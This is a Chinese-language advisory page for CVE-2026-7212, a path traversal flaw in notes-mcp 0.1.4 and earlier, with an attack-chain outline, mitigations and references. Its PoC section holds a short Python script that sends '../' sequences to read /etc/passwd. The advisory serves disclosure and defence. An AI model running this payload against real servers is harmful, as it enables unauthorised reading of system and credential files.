CVE-2026-7212 CVSS 7.3 高危

CVE-2026-7212 notes-mcp路径遍历漏洞

披露日期: 2026-04-28

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-7212

漏洞类型

路径遍历

CVSS评分

7.3 高危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

无需交互 (UI:N)

影响产品

edvardlindelof notes-mcp

漏洞概述

edvardlindelof notes-mcp 0.1.4及之前版本被发现存在安全漏洞。该漏洞主要影响`notes_mcp.py`文件中的函数，由于对参数`root_dir/path`缺乏有效的过滤机制，导致发生路径遍历。攻击者无需任何认证和用户交互即可通过网络远程利用该漏洞，可能导致敏感信息泄露。鉴于利用代码已被公开且厂商尚未修复，该风险较高。

技术细节

该漏洞属于典型的路径遍历漏洞。在 edvardlindelof notes-mcp 组件的 `notes_mcp.py` 文件中，程序直接使用了用户可控的 `root_dir/path` 参数进行文件系统操作，而未对该参数进行严格的边界检查或特殊字符过滤。攻击者可以通过构造包含“../”序列的恶意路径，突破预期的根目录限制，访问服务器上的任意文件。由于 CVSS 评分为 7.3（高危），且攻击向量显示无需权限（PR:N）和交互（UI:N），这使得远程未授权攻击成为可能。攻击者成功利用此漏洞可读取敏感配置信息，甚至根据代码上下文导致文件被篡改或删除，对系统的机密性、完整性和可用性均构成威胁。

攻击链分析

STEP 1

侦察阶段

攻击者识别目标网络上运行的是 edvardlindelof notes-mcp 组件，并确认其版本在 0.1.4 或以下。

STEP 2

漏洞利用

攻击者向 `notes_mcp.py` 接口发送特制的网络请求，在 `root_dir` 或 `path` 参数中注入路径遍历字符（如 '../'）。

STEP 3

执行攻击

应用程序处理该请求时，未能过滤恶意字符，导致文件系统 API 访问预期目录之外的文件。

STEP 4

数据泄露/破坏

攻击者成功读取敏感文件（如配置文件、密钥），或根据漏洞上下文对系统完整性造成破坏。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests

# Target URL (Example)
target_url = "http://localhost:8000/read_file"

# Malicious payload attempting to read /etc/passwd using path traversal
payload = {
    "root_dir": "../../../../../../etc",
    "path": "passwd"
}

try:
    response = requests.post(target_url, data=payload)
    if response.status_code == 200:
        print("[+] Exploit successful!")
        print("[+] Response content:")
        print(response.text)
    else:
        print("[-] Exploit failed or file not found.")
except Exception as e:
    print(f"[!] Error: {e}")

影响范围

edvardlindelof notes-mcp <= 0.1.4

防御指南

临时缓解措施

建议立即检查并限制对 notes-mcp 服务的网络访问，仅允许受信任的内部网络调用。在官方修复补丁发布前，应在 WAF 或网关层部署规则，拦截包含路径遍历特征符（如 "..\" 或 "../"）的恶意请求。同时，开发者应尽快修复代码中的路径验证逻辑。

参考链接

1 CVE https://www.cve.org/CVERecord?id=CVE-2026-7212
2 NVD https://nvd.nist.gov/vuln/detail/CVE-2026-7212
3 Details https://www.cvedetails.com/cve/CVE-2026-7212/
4 VulDB https://vuldb.com/cve/CVE-2026-7212
5 Link https://github.com/edvardlindelof/notes-mcp/
6 Link https://github.com/edvardlindelof/notes-mcp/issues/2
7 Link https://vuldb.com/submit/802084
8 Link https://vuldb.com/vuln/359808
9 Link https://vuldb.com/vuln/359808/cti

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表